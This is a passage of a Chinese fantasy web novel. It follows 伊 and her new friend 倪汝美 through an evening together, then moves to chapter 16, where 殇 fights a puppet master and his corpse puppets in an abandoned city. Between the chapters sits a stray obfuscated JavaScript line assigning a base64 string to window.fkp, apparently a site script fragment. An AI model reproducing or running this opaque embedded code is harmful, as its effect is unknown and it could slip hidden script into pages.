倪汝美在伊的怀里痛哭。她哭的时候压低了些声音,怕制造太大的噪音,害怕吵着伊。就连痛哭的时候都要拘谨,这着实让伊觉得不可思议。倪汝美的哭泣无时不刻都在揪着伊的心,她能深切感受到倪汝美心里的悲伤。回想自己,她当初也是个需要人关爱的人。她也曾悲伤、也曾迷茫、也曾需要倾诉、也曾需要爱。不知不觉,她的眼角泛起了泪花。思考着,思考着,她悄悄摸了摸眼角的泪。实际上,她也是不幸的人。不过她的不幸比起生活在这里的人来说,不值一提。这底层区域的生活,远比她想象的要压抑。 这时,洁净的河水之中出现了一抹血色。伊注意到这点,抬头望去,下一秒,她被眼前的景象给震撼到了。只见到两具绑着石头但未沉到河底的尸体竟以相拥的姿态出现在了河中,这两具尸体的鲜血染红了小片河水。这两具尸体有一位男性,有一位女性,看起来是对鸳鸯。这两具尸体的后面遍布刀痕,看得出来他们生前曾遭受到的残忍对待。这两具尸体的面部已经难以看清,但依稀可以辨识出他们大致的模样。从着装来看,他们都是都市的“正义”执行官:都市猎人。 伊一脸惊讶,但她并没有做出任何动作,只是怕怀中的倪汝美看到这种景象,会留下心里阴影。这时,当伊再次抬起头去看这两具尸体的时候,突然,她用她那敏锐的眼光发现了其中未曾留意的细节。她发现那名男性尸体背后都是致命伤,而那名女性尸体的背后只有一处是致命伤。而且从姿势上来看,两人在死的时候保持的是接吻的姿势。由此,伊脑补出了两人死亡时所彼此诉说的死亡诺言。 伊心里: “以这种方式死去,跟着自己的爱人一起.......最后的吻。这是他们爱情体现,这是崇高的爱意!” 眼前的震撼难以用语言来诉说。伊默默地低下了头,心里为这对鸳鸯哀悼。这两具尸体慢慢地沉入了水中,与之一起的,是属于他们的岁月与回忆。虽没有开口讲述,但那莲花似乎听懂了他们的故事。为做哀悼,莲花放开了一片花瓣,让它成为送走他们的使者。花瓣落水,洁白的花瓣上出现了一抹淡淡的血色。这血色之中,蕴含着他们纯真的爱情!拴着他们的石头,慢慢落到了河底,他们也随之相拥着没落深渊。花瓣尖滴落几滴水,似乎是这莲花为他们流的泪。那片沾染了血色的花瓣,此刻宛如信使,带着他们的“信”随着水波飘向了远方。它不知道信要送到哪里,更不知道谁要去收这封信。它只知道这封信中记录着两个无名之人的纯真爱情,字里行间都是两个个体的悲惨一生,这封信是珍贵的! 雨停了,那片花瓣也不见了去向。血色被冲刷干净,河面上十分干净。微风轻抚大地,水雾悄悄隐去。水波泛起,波澜不惊,几叶莲舟,随波逐流。明媚的阳光从云缝之间照了过来,大地瞬间明亮了起来。道路两旁有着几个水坑,水坑中清澈的水倒映着天空。柳枝在摇摆,叶子间的水滴在慢慢流下。路旁小花迎着阳光绽放,青青绿草平淡地晒着太阳。公园里打伞的人们收起雨伞,静静享受着雨后的清新。雨后的空气格外清新,吸入一口会感到心情舒畅。一切都变得美好了起来,这个世界仿佛见不到一丝痛苦。 若不是伊见到过这世界的痛苦,她还只会傻傻地沉醉在这美好之中。不见痛楚,不知美好。 到了夜色降临的时候,伊和倪汝美正在倪汝美所暂住的高层公寓里做晚餐。这时,殇打来了电话。伊此时正在切菜,听到电话响了,她放下菜刀,赶忙去接电话。 伊: “喂?” 殇: “(好奇)伊,你他奶奶的跑哪里去了?店里也不见你人。” 伊: “(思索了半秒)额......我去陪我的一个朋友吃饭去了。现在就在她家。” 殇: “(惊讶)wtF?!朋友?” 伊: “对,一个我很要好的朋友。” 殇: “(担心)不行,你赶紧给我回来!这个城市里的人不可信!万一你出了啥事可咋整?!” 伊: “(淡定)没事的。殇。她这人很好的,而且今天还从一伙来历不明的人手里救了我呢?” 殇: “来历不明的人?......一定又是野犬那群混蛋。” 伊: “(好奇)野犬?” 殇: “(担心)无论如何,你这几天注意点安全什么的。野犬那些家伙指不定就来抓你,那些家伙抓到你肯定没好事。” 伊: “哦哦哦,知道了,殇。” 殇: “(催促)还有,赶紧回来。别让我担心。” 伊: “(温柔地说)哼~不,我不。我们都快做好晚饭了。” 伊捂着嘴偷笑了几下。 殇: “(惊讶)嘿!你这菜鸟敢不听我的话?(严肃)我告诉你,撒娇对我没用!” 伊: “(恳求)嘿嘿。殇,这次你就从了我吧。” 殇: “(担心)不行,要是把你弄丢了我去哪里找去?” 伊沉默了一下,她的表情严肃了那么一刻。 伊: “(笑)不用担心的啦,我会保护好自己的。” 殇: “(担心)你......可以吗?” 伊: “(自信)当然可以的。我已经不再是之前那般弱小了,我可以自己保护自己的。” 殇那边传来了一声意味深长的叹息。 殇: “(妥协)哎.......行吧,只要你能保证自己照顾好自己,那么你在她那里呆久点......也没事。” 伊: “嗯。” 伊的鼻子有些发酸,她的心里甚是温暖。 殇: “记住早点睡,别熬夜。明天你还得上班呢。注意点饮食,别吃太过刺激的食物,容易得胃病。别着凉,感冒了可不好。最重要的是,要是来事了就多喝点热水,注意点卫生,别得个啥病。” 伊点点头,答应殇: “知道了,殇。” 说完,殇挂断了电话。挂断电话后,伊的眼角泛起了泪花,她用手擦了擦眼角的泪花,长舒了一口气。就在这时,拿着一小盘凉菜的倪汝美走了过来。她将凉菜放在桌子上,然后好奇地问道: “伊,刚刚是谁给你打电话了呀?” 伊说话没过脑子,轻声回答道: “那是我爸......” 伊突然意识到了自己说错了话,她急忙改口。 “不不不,那是我的一个朋友。” 所幸倪汝美没有听清楚伊之前说的那句话,这才让伊没有陷入尴尬的境地。倪汝美听到伊的回答后有些好奇地问伊: “朋友?叫什么名字?是不是你的男朋友呀?” 伊摇摇头,十分庄重地回答她: “他叫殇。他不是我的男朋友,我还是个单身族。” “哦。那他是你的什么人啊?” 倪汝美好奇地问。 “他是一直守护我的一个朋友。我们只是一起前进的伙伴。” 伊郑重地回答。倪汝美摸了摸下巴,若有所思地说: “哦~原来是这样啊。” “他是个好人,对我和身边人都挺好的。不过有的时候......他就表现得很屑。他好的面比坏的面多。” 伊向倪汝美简单介绍下殇。倪汝美一听伊这么说,她也觉得殇是个好人。倪汝美对伊说: “我已经可以脑补出他的样子了!根据你的描述,他一定是个好男人。” 伊轻皱眉毛,隐隐觉得这话哪里不对。但伊没多想,接着就去继续做菜了。忙活了一段时间后,她们两个做了一顿简朴但是美味的饭菜。在开始吃饭之前,两人坐在饭桌前,与彼此和饭桌上的饭菜合了个影。之后,迎着落日的余晖和城里的万家灯火,拿起餐具开始就餐。 今日的东城还是那般平静,平静之下的暗流仍在涌动。万家灯火之下,有着忽然熄灭的灯与让人不曾留意的惨叫。清理者如往常一样出没与巷子之中,按照日常的规划猎杀着写在回收名单上的“可回收垃圾”。有人说这座城市是在晚上才有活着的气息的,白天是死的。现在看来,这句话描述的很贴切。夜里的时候,往往是干黑活的最佳时刻。走私、暗杀、“正义”清理、非法交易......这些污点总是在城市黑暗的一角滋生。 由于吃得太饱,伊就有些困。所以她给殇打了个电话,告诉殇自己今天在这里过夜。虽然殇有些担心,但还是同意了她的请求。 ...... 到了半夜,一个穿着睡衣的人悄悄来到了伊的床边,然后轻轻地摇了摇伊。伊被摇醒了,她慢慢睁开眼睛,只看到穿着睡衣的人冲着她摆出了唬人的姿势。 “嗷~~” 由于是刚刚醒来,伊着实被吓了一跳。伊拿起一旁的枕头,差点就扔了出去。倪汝美见此,赶忙说道: “诶!别别别,是我,倪汝美。” 在看清对面是倪汝美后,伊这才放下枕头。刚刚那一下差点给伊吓出心脏病来,她的心此刻还扑通扑通地使劲跳呢。在缓了一小会后,伊十分疑惑与好奇地问她: “你干嘛!大半夜的,吓死我了。” 倪汝美坏笑了一下,语气温柔态度诚恳地对伊说道: “嘻嘻,抱歉哈。不该那么吓唬你的。——对了,伊。你能陪我去楼顶看星星吗?” “看星星?” 伊好奇地问道。 “对!看星星。” 倪汝美一脸期待地说道。看着倪汝美那真诚与满怀期待的眼神,伊同意了倪汝美的要求。 (这招她是不是以前也用过?) 晚上,楼顶寒风瑟瑟,一轮弯月挂在天空中,似一块残缺的玉盘。漫天的星星在闪烁,看着别有一种浪漫的韵味。伊和倪汝美披上一件厚大衣走上了楼顶。 到了楼顶,两人找到一处安稳的空地盘腿坐下。抬头看天,满目星空。她们两个看着天上的星星发笑,看着星星浮想联翩。星光似斗篷一样披在了她们的身上。不知是谁先开始的,两人跟着彼此开始慢慢左右摇动自己的身体,似乎在融入夜晚的节奏。摇着摇着,倪汝美唱起了一首歌。 “我曾路过万千巷口,也曾迷失在城市中。” 伊转头看去,脸上浮现出了微笑,然后也跟她一起唱。 “付出努力去活着,不知不觉身上多了枷锁。” “脱去枷锁,我却发现我一无所有。” 两人回忆着各自的过去,好好感受着夜晚的寂静。 “我曾为了自由而跨过千山万水。” “但最后我却将自己锁在房间里。” 过去的甜与苦历历在目...... “喝口闷酒脱去衣裳,跟我的梦说再见。” “有时离去才是最好的选择,尽管这是逃避。” 那些记忆虽不想回首,但又不得不回首...... “离开熟悉的喧闹的街,回到生我的地方。” “从沉醉中惊醒,我击碎了虚幻的梦。” 现在看来,过去所遭受的一切,都已成了一段难忘的回忆...... “盎然回首,还是乡间的老家是我唯一的归宿。” “童年的纸飞机飞回了我的手里,可我再也回不到当初。” 她们有回想起了今天两人之间的三两事。虽然两人只认识了一天,但是其友谊已经根深蒂固,而且还开出了一朵七色花。 “拿着锄头去耕作,靠着稻草人睡觉。” “没有喧嚣的自由生活,抛去了沉重的枷锁。” 两人唱着唱着,就彼此靠近,相互依靠在了一起。 “沉默了多年的我,终于可以高歌一曲。” “歌颂一只顽强的虫子,与那地平线升起的太阳。” 星光照耀着她们,皎洁的月光凝聚在她们身上。远处的灯光闪烁着,像是这座城市在呼吸。一阵寒风吹来,带来了一阵寒意。但两人此时不惧寒冷,因为她们的心是热的。今天是倪汝美第一次找到她只得信任的朋友,今天也是伊第二次结交了一个可以完全信任的知心朋友。虽然倪汝美身上带着诅咒与歧义,但伊并不在乎这些。她在乎的,是倪汝美那颗善良心灵。上帝让倪汝美生下来带有了诅咒,是跟她开了一个致命玩笑。但上帝又故意制造了一场富有戏剧性的相遇,让她遇到了伊;这是上帝跟她开的另一个玩笑。上帝喜欢开玩笑,不是吗?命运就是这般戏剧。 遇到伊,是她这辈子最大的幸福。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十六话:废城区之战 十几个小时前...... 殇接到委托,奉命前往北城去取一批走私者留下的货物。废城区内一片萧然,看不到半点生气。破败的大街上落满了灰尘,空荡的建筑物内阴风作响;街道腐烂了,它曾经的风华已无法辨识;高楼凋零了,只剩下了它残缺的骨架。走在街上,看着这样的城市,心里不免有些难过。曾经的汽笛声还回荡在耳中,似乎此时回首,还能看到那繁华的街。 殇在街上慢慢地走,即便他身负委托,他也没快步前进。他聆听着这座城市的叹息,心里也跟它一起叹息。无人知晓,这里曾经的样子,无人能听清,这座城市的心声。滴答滴答,是时间流逝的声音。抬头看去,一个孤独的时钟正在鸣唱,一首名为时间的歌。它默默陪伴这个城市,直到它最后倒塌的那一天。锈蚀的零件正在顽强的运作,时钟上的时针颤抖着,似乎它也要离去。走到市中心的时候,一块刻着城市之名的石碑如高山一般耸立在市政府前面。 “希望城” 这是这座城市真正的名字。 这块石碑还很年轻,上面被岁月侵蚀的痕迹还很轻。这块石碑深深地吸引到了殇,殇不禁暂时放下委托,走近这块石碑。来到近前,殇发现它已经被风磨钝了棱角,本来平整的表面也变得高低不平。殇深情地用手抚摸这块石碑,用心感受着这块石碑的温度。余温,这座城市的余温。 殇: “(惋惜)它本可以像星星一般闪烁,可它却夭折在了夜空之下。未曾升起,所以不曾让人铭记。” 殇拿开手,向这块石碑敬了个礼。然后他转头走向市政府,因为他想再看一眼殇国王的雕像。到了市政府大厅内,那尊雕像如预期一样出现在他的眼前。这尊雕像十分威武,各种细节都透露着王者的霸气。可如今衬托这尊雕像的,不是当初的繁荣,而是现在的落败。想当年,这里是一片盛景,而今日,则是寂静的末世。殇看着殇国王的雕像陷入了沉思,他思考起历史与自我。仿佛间,他的精神似乎回到了这座城市当初的样子。 百座高楼拔地而起,如同一座森林一般。如网一样的道路连接起千家万户,构成了这城市的骨架。大街上人来人往,马路上百车疾驰。金钱可似流水般流动,希望可以筑作长城,幸福眷及每个家庭......仅仅是四十多年,这里就变了样子。当年的繁华都化作了苍凉与孤独,那些未完成的梦想,随着这里的荒废,都与之一同埋葬。住在这里的人都走了,只剩下一座空寂的死城。 一阵冷风呼啸而过,打断了他的思绪,将他拉回了现实。他有些迷茫地看了看周围,一时不知道干什么好。等心里有了主意,殇回过身来,冲着这尊雕像感慨道: “荣也由你,枯也由你。你算不上无可救药,只能算个混蛋吧.......应该?算了......承认我自己是个不可救药的混蛋吧。” 殇看着雕像托起下巴思考了几秒,耸了耸肩,然后猛地一脚踹了过去。这一脚没踢动雕像,他却差点因为反作用力而倒下。他有些疑惑地耸了耸肩,不理解自己为什么没有踢动这尊雕像。 殇: “你可真难移动啊!但总有一天,我会移动你的。不仅移动,我还要改变你!会有那一天的......” 说完这通意义复杂的话,殇就转身离开了市政府大厅。他的影子倒映在地面上,影子里还能依稀看到他当年的气势。离开市政府大厅,他按照雇主给的几条简语,在空寂的废城之中寻找那批走私者的货物。 转眼间两个小时过去了,殇还在苦苦寻找。这两个小时的寻找并非是无用功,这段时间,殇在废城里面找到了一些奇怪的文件,而且还通过残留的报纸了解到了这种城市的过去。 文件中并未过多赘述一些具体的事物,只是大概描述了一种诡异的晶体。这种晶体被称作“x”,是种制作Emd装置的材料,同时也可以作为核心强化材料与合金材料。也许是因为这个晶体,这座城市遭到了一场浩劫,才导致这里荒废;但比起这种荒唐理论,殇更愿意相信是疫病毁了这里。 报纸上零碎的报道还原了一个贴近真实的城市覆灭过程。先是感染者大规模出现,这座城市的经济遭受重创;后来是隔离计划的失败,疫病无孔不入;再后来是感染潮的大规模入侵,大量人员伤亡;最后是逃亡计划的启动与这座城市的荒废。一切都是那么有戏剧性。成用十年之功,败仅需三月之覆。这令他感到惋惜。 又过了一段时间,殇终于找到了那批走私者的遗留货物。那是一个用军工材料做成的大箱子,箱子上印着殇不认识的外企图标,似乎这东西来自海外的某个国家。它就静静地放在一间房子的客厅内,摆放在杂乱的家具碎片之中。殇走上前去查看,发现这个箱子的锁被人撬开了。他摇了摇这个箱子,里面传来的金属碰撞的声音。这证明里面还有东西。殇二话不说,直接打开了这个箱子。 刚打开箱子,殇就惊讶到了。箱子里放着的是一个造型超前的一个高科技原件,这个原件上有着一个∑(西格玛)图案。殇拿起这个原件打量了一番,他没看出有什么异样,感觉这就是个普通的电脑原件。但在某些细节方面,它还与普通的电脑原件不一样。 殇: “这个东西......似乎有大用处。其中的奥妙我没法理解,也许这是种高级奇点造物?谁知道呢。” 殇没多想,将它放进了口袋里,然后就准备离开。就在这时,殇周围的房间里传出了奇怪的吱吱声。殇察觉异样,驻足停留。那吱吱声慢慢从房间转移到了走廊里,然后又慢慢转移到了外面。殇小心翼翼地走出房间,警惕地观望着空旷的走廊。突然,那吱吱声再次出现,同时伴随着诡异的嬉笑声。殇谨慎地观望走廊内的事物,审视着走廊里一切,寻找着声源。就在这时,一个身影以迅雷不及掩耳之势来到了殇的背后。它高举手中锐利的兵铲,对着殇的后背猛地劈了过去。 瞬间,洞察者发动。时间的流逝速度瞬间降低数倍,一切都以极其缓慢的速度运行。殇慢慢转过身,看向准备偷袭自己的那个身影。 那个身影是一个人,一个死人。他面带诡异的微笑,眼睛向下流着鲜血。本来俊丽的五官,被人刻意扭曲了,而且还为他添上了更多眼睛。他身穿一身缝补了许多皮肤组织的大衣,大衣上有着令人毛骨悚然的人类眼睛与嘴巴,还有许多道渗着鲜血的伤口。他手上拿着一把锋利的兵铲,兵铲上有着干涸了的血迹,看样子殇并不是第一号受害者。 殇一眼就认出了对方的身份。 殇: “孽浒傀儡,傀儡家族的造物。可真是烦人啊,跟个跟屁虫似的。所幸有洞察者符文在,不然我可丢大人了!” 殇跳起来,先是一拳头将他砸到了地面上,然后一顿连续散打接三连隼式连踢,最后对着致命要害部位来了几记重拳。洞察者时效结束后,这个孽浒傀儡瞬间压缩了些许,传出了筋骨断裂的声音,接着这个傀儡以十分扭曲地姿势倒在了地面上。殇看着这个傀儡,摇了摇头。 “要是洞察者的冷却没有三天之长那就好了......这样省的遭到偷袭。” 殇吐槽了下洞察者的充能时间长的问题。突然,一个身影以同意的方式来到了殇的背后。它高举手中的斧头,准备一斧子砍下殇的脑袋。但是,同样的招数殇不会被命中两次。就在他要攻击前的那一刻,殇瞬间变出一把骑枪,然后一个回旋斩抢在他攻击前先打中了他。这一下速度之快,那个傀儡没有来得及反应,就被这一击给打到了墙上。殇没给他喘息的机会,一个冲锋加突刺了结了这个傀儡的生命。刚处理完这个傀儡没多久,又有三个傀儡包夹了过来。这三个傀儡分工有序,从三个方位向殇发动了攻击。先是一锤挥过去,殇猛烈招架给打了回去,差点就砸中了自己。后是一枪背刺,殇侧闪躲避,一个回旋手刃狠狠地打了他脖颈一下,直接给他打得趴在了地上。最后是提灯震击,这种攻击殇无法防御,被这震击给震飞出去。殇直线飞向撞破了窗户,落向地面。殇手中的武器离了手,那三个傀儡追了上来。 那三名傀儡嬉笑着,拿着手中的武器冲向了正在下落的殇。先是震击,接着是挥动大锤,最后是骑枪突刺。他们低估了殇的战斗力。殇早就有所准备,他激活核心,瞬间释放了一次能量脉冲,抵消了震击的伤害。挥动大锤的傀儡加速下落,来到殇的面前就是一锤挥出。殇抓准一个空中转体躲开,接着一个冲刺来到了建筑物表面。借助符文给予的爬墙之力,他扒住了墙,接机与这个傀儡拉开了距离。殇抓住时机,赶在那个拿骑枪的傀儡到来之前蹬墙位临这个傀儡之上。他握紧右拳,能量瞬间汇聚于他的手心。 殇: “裂地猛冲!” 殇一拳砸下,精准地砸在了他的后背上。顿时,清脆的筋骨断裂声从傀儡那瘦小的身躯之中传出,同时傀儡的身体以快出残影的速度坠向地面。他已经不再有任何动作,也许是死了,好像本来就没活着。借助反冲力,殇一跃而起,以极快地速度来到了第二个傀儡的面前。没等傀儡反应,殇一个升龙拳直接打在了她的脸上。这一拳威力甚大,直接打得她头歪了过去。吱嘎一声,似乎是脊椎断裂。殇搂住她的头,然后向下一按,接着踩着她的身躯往前一跃,再次扒住墙体。他深吸了一口气,然后快速向上攀登。拿灯的傀儡察觉到了不妙,刚想与殇拉开距离,一把回旋着的镰刀就从殇的手中飞出,精准地将他一分为二。之后,殇一个落地猛冲落地。 他的落地猛冲在地面上砸出了一个大坑,同时发出了巨大的声响。这声响,吸引了很多注意。突然,一个拿着武士刀的傀儡出现在殇的背后,再次尝试背刺。殇一脸平淡,他似乎已经习惯了。他一个前冲躲开,转身捡起地上的骑枪,接着后脚蹬地,一个加速突刺加拔枪横扫解决掉了这个傀儡。解决完这个傀儡,殇还不忘吐槽两句。 “你们就只会偷袭吗?这可太弟弟了。” 殇走到那个傀儡面前,十分不满地踩了一脚,吐槽道: “你太逊了!幕后的傀儡师......” “哦?你知道我的身份?” 一个有着低沉嗓音的陌生男子在殇的后方这样说道。殇转过身来,吹个了口哨,然后生或死以超快的速度瞬移到了殇的手中。殇将刀挂在腰间,然后质问面前这个身着蓝色西装的蓝发男子。 “你是谁派来的?快说!” 殇质问他。他笑而不语,只是招招手,几个带着面具的傀儡出现在他的身后。这时,殇注意到,之前与他战斗的那些傀儡被几个戴面具的傀儡给拎了过来,似乎有什么不好的企图。 “呵呵。我很好奇一件事......为什么你们傀儡师家族就没几个好人呢?都是个顶个的混蛋。” 殇冷笑着说道。他笑了笑,满带嘲讽地说道: “再混也没您混啊。殇殿下。” “他妈的!你可真会说话啊!” “呵呵呵,过奖了。” “你孤身一人前来,不怕死吗?” “怕死?我本来也没打算活着回去。我的舅舅已经帮我处理好‘后事’了,我的家人已经被安排妥当了。一切都在有条不紊的进行着。” “吼吼,有意思。” “殇,如果我说我家里还有个未出世的女儿,你会不会饶我一命啊?” “哼......你想得美。我告诉你,像你这样的无可救药的罪人,我是绝对不能放过的。” “我还以为您是个富有善心的人呢。我想,是不是因为我们家族跟黑暗德鲁伊有了利益来往,你才如此憎恨我们呢?” “哦?明知故问。还有一点很可惜,即使你们家族不跟黑暗德鲁伊这群臭水沟的里驱虫有来往,见到你们家族的人,我也照杀无误。傀儡术的奥秘,我光是透过门缝瞥见一眼,就已经看到其中的黑暗!” “哈哈哈哈。那是你不懂。傀儡术,可是无比美妙的啊!” “别用这种高高在上的语气跟我说话!你这疯子。” “嗯?生气了吗?不要生气哦,这样会让你的身体有些损害的。如果可以,我还想带回您的身体回去呢。” “他妈的!” 殇拔出了腰间的武士刀,用刀指着他。殇一脸严肃,眼神之中透露着杀气。仿佛下一刻,殇就会将他砍成碎末。殇心里的怒火,从他的每个毛孔中向外散发。殇一脸严肃地对他说: “报上姓名吧,我不想再浪费时间了。” 他笑了笑,轻轻捋捋头发,让自己的发型保持最完美的状态。接着,他慢慢悠悠地从口袋里拿出一个烟盒,打开烟盒,拿了一根烟。他伸出手,将烟递向殇,并轻轻侧过头问他: “来一根吗?” 殇一脸不耐烦的样子,他现在恨他这种人恨得牙痒痒。看到殇咬牙切齿的愤怒模样,他摆出了一副委屈的表情,然后默默地叼起烟,突然又变为了笑脸。他掏出打火机点了个火,深吸一口,吐出灰色的烟气。 “真是扫兴啊。如果这时能抽上一根烟,那多是件美事啊。” 他笑着说道。他又吸了一口,然后低着头把烟扔在了地上。他的表情瞬间变得严肃,他的眼神即刻变得犀利起来。他瞪着殇,杀意从他的瞳孔中漫出。他伸出手,对着周围低声说道: “卡娜铃兰,裴德达斯、甘文,出战!” 一阵阴风袭来,周围黑雾四起。黑暗降临,笼罩大地。淡淡的光芒之下,三个身影出现在他的身后。那三个身影伴随着诡异的吱嘎声与阴霾到来,在昏暗的雾里现身。他们的样子渐渐清晰,令人恐惧的压迫感随之袭来。他们三个在提线的作用下悬浮在空中,他们破旧的衣裳随风飘动,死亡与凋零的气息弥漫在他们身旁。此刻,他们宛如三位死神。 他挺直腰板,变出一把有着四块诡异碎片组成的镰刀,将其握在手中。他的脸上浮现出了一抹阴森至极的笑容,他的眼神之中散发着蔑视生命的气息。他将手中的镰刀熟练地转了一圈,然后紧紧地握在手中。 “私、椿木雄一郎。よろしくお愿いします、先辈。(鄙人,椿木雄一郎。请多指教,前辈。)” 他郑重地对殇说道。殇耸了耸肩,一脸不在意地说道: “说什么鸟语呢?赶紧的,准备好死了没?” 他深吸了一口气,眼神之中杀气四溢。他摆出架势,神情严肃地对殇说道: “行くぞ!负けるつもりだ!(要上了!准备败北吧!)” 他抬起镰刀指着殇,发出了诡异的笑声。紫色的核心能量跃动在他手中的镰刀上。周围回荡起了灵魂的低吼声,冥冥幽火所发出的暗淡之光照亮了周围,阴冥的气息弥漫在周围。 “这可是代码2给予我的新能力,看好吧!” 他一脸自信地说道。殇没有理会他,只是默默地将刀插回腰间的刀鞘之中,做好了居合斩的准备。椿木雄一郎见此,挥手下达了进攻命令。那三个有名字的傀儡立即拿着武器冲向殇。殇见此,耸了耸肩。面对这些敌人,殇不打算偷偷放水了,他打算用真正的实力去面对。 卡娜铃兰带着黑雾冲到了殇的面前,接着用手中的刀与斧对着殇连续重击,殇一个后撤步迅速躲开。殇刚想抽刀反击,裴德达斯就一把将手中的链刃甩向了殇。刷的一声,链刃的刀尖划过殇的鼻尖前,所幸殇反应迅速。殇已经与裴德达斯拉开了一定距离,这时,殇瞬间抽刀,后脚蹬地,一个健步跃起。趁着裴德达斯没收起链刃的那个时间,殇准备一个居合斩直接了结对方。只是没想到,突然之间,两道锐利的尖型幻影刃从侧面袭来。殇立即做出反应,收刀、转身、拔刀,快速上挑与横扫,打掉了对方的攻击。这时,殇注意到一旁的甘文正抬着双手,默默地注视着他。血色阵法正于她的掌前旋转,强大的能量蕴藏在她的五指之间。裴德达斯抡起手中的链刃,对着殇又是一下挥出。殇察觉到这点,一个仰身躲开了这一击。地面上出现了急促的脚步声,殇直起身子连续三个后空翻与傀儡们拉开距离,然后卡娜铃兰迅速来到殇的面前,接着就是一顿猛攻。殇连续挥刀,见招拆招,同时用比对方还要猛烈的攻击去回击对方。几个回合过去,卡娜铃兰的身上出现了很多足以刀伤,而殇的身上没有任何受伤的痕迹。卡娜铃兰突然后撤,然后一道威力巨大的消融射线从甘文手中的血色阵法中释放,直直地射向了殇。殇快速反应躲开了这一道射线,接着许多道射线以不同的角度射出,甘文试着通过预判殇的行动。但她还是低估了殇的实力,殇通过连续左右横移轻松躲过了这些射线。这时,裴德达斯拿着一把锯齿大剑一跃而起,用手中的大剑去从殇的背后去劈他。殇敏锐地察觉到了这点,他握紧手中的刀,抓准时机,待裴德达斯靠近之后,一个后撤步接转身,一刀挥出。 殇: “隼·金月七星勺!” 金色的光从生或死上发出,强大的气场随之出现在殇的身上。这一刀直接打断了裴德达斯的攻击,让他劈了个空。裴德达斯在接下这一刀后身体后仰,垂垂落地。殇一个健步一跃而起,连续六刀挥出。横扫、上挑、回旋斩、转身下劈、突刺、拔刀横扫。这六刀刀刀致命,直击要害。即便是傀儡,也难抵挡这六刀。殇一个转身收刀,不回身去看裴德达斯的死状。这时地火袭来,空中还伴随了几道幻影刃。殇瞬间抽出刀,一道白光闪过,一把刀刺穿了甘文的身躯。甘文没来得及反应,殇拔出刀来,三连横扫处决,直接将她斩成碎块。 在一旁静静看着的椿木雄一郎静静地抽了根烟,看到殇竟然除掉了两个超级傀儡之后,他不禁为殇鼓了鼓掌。 “真是精彩啊.......可惜这两个漂亮的傀儡了。” 他笑着把烟一掐,摆摆手召唤出了他背后的两个灾厄傀儡。这些灾厄傀儡是由一堆傀儡加上某种“粘合剂”所构成的融合傀儡,它们的身躯由尸骸构成,没有灵魂,只是个受人操纵的野兽。第一个灾厄傀儡满身的肌肉,红色皮肤,有着三个头颅,其中一个面部已经化作了白骨;它的瞳孔中散发着绿色的冥火,它满嘴的利齿之间寒气四溢。它叫蔑顼。第二个灾厄傀儡有着满身的铠甲碎片,惨白色皮肤,有着四个胳膊,分别拿着猎枪、锯齿刀、碎骨锤、双头镰刀;他背着一个棺材,棺材之中散发着凋零与死亡的气息。它叫屠郯。 这时,殇一个冲刺来到了雄一郎的身前,准备一刀就处理掉他。不过这时,卡娜铃兰突然冲到雄一郎身前,用手中的刀与斧攻击殇。但没等她出手,殇就一个横扫将她击退,几根提线在此刻断开。殇一个突刺刺穿她的身躯,然后奋力往后一甩,将她甩了出去。此时,殇一记断云决挥出,正要命中雄一郎,只见蔑顼挡在雄一郎面前,交叉双臂替他挡下了这一击。这时,屠郯一个下劈招呼了过来。殇翻转手腕,一个上挑招架住了这一击,同时通过后撤步与他们拉开了距离。刚刚拉开距离没多久,雄一郎就挥舞着镰刀冲了上来。咣当一声,殇用刀刃格挡下了他的攻击。雄一郎笑一笑,身后的屠郯马上出现在他的身旁。上膛、瞄准、开枪,三个过程屠郯一气呵成。殇连续挥砍两刀,一刀打退雄一郎,一刀弹飞飞来的子弹。屠郯开枪后没上弹,直接挥舞着手中的兵器冲向殇。殇识别出了他的弱点,开始绕着他转圈。 殇: “隼之剑舞。” 殇的移动速度极快,仅仅用了几秒,他就绕完了三圈。此刻,殇的速度已经达到了快出残影的境界。屠郯手中的兵器疯狂挥舞,可就是打不中殇一下。就在这时,殇一刀挥出,直接砍断了它拿着猎枪的手臂。一旁的雄一郎察觉到不妙,刚想命令傀儡上前支援,只听得飓风在屠郯周围呼啸,屠郯被一圈圈的刀光剑影所包裹。殇一个冲刺来到屠郯背后,一道残影贯穿了屠郯的身躯,殇华丽落地收刀。刀回到刀鞘的那一刻,刀光剑影快速闪烁,无数残影穿过屠郯的身躯。顿时间,暗色之血飞溅成雾,即刻弥漫开来。屠郯在血雾中倒下,如损坏的玩具一样解体。 在一旁重伤的卡娜铃兰看到殇帅气的背影,灵魂深处收到了深深的触动。被提线所封锁的大门,打开了一条门缝。这背影,有些熟悉,不是同一个人,但有同样霸气的风采。卡娜铃兰此刻似乎失去了提线的控制,她开始进行自主的思考。 屠郯的死让雄一郎认识到了殇的实力远比他想象的要强,他开始感觉心里压力增长了一倍,意识到自己面对的如此之强的敌人,他不由得开始紧张起来。蔑顼在他的命令下,挥舞着双拳冲了上去。殇见此,待到蔑顼靠近的那一刻,一记波龙斩挥出,直接将蔑顼击退了三四米。殇一个转身,将手中的生或死扔进了蔑顼的胸膛之中。这时雄一郎抓准的时机,一个健步来到殇的身旁,对着殇来了一记横扫。这一下殇侧步闪躲,但他没能完全闪避开这一击。他的胳膊上被划出了一道伤疤。雄一郎的这一下打断了殇的计划,但是足迹多谋的殇并没有因此乱了阵脚。雄一郎对着殇又是一记横扫。殇赶在镰刀命中自己之前,一个前冲靠近了雄一郎,这是雄一郎万万没有想到的。殇一把抓住镰刀的柄,然后转身用力一甩,直接将雄一郎甩飞了出去。紧接着,殇变出亚特兰蒂斯,然后像仍鱼叉一样将手中的亚特兰蒂斯扔了出去。雄一郎的视角此刻是天旋地转,他根本没办法去躲避面前飞来的三叉戟。这把三叉戟刺穿了他的肩膀,将他钉在了附近的路灯杆上。 殇对着雄一郎竖了个中指,然后对他说: “你死期将至了。” 说完,殇一个冲刺来到了蔑顼面前。这时的蔑顼因为暂时失去了雄一郎的控制,一时在原地发呆。抓住这个时机,殇握紧双拳,对着蔑顼使用了他最常用的技能。 殇: “隼之冲刺!” 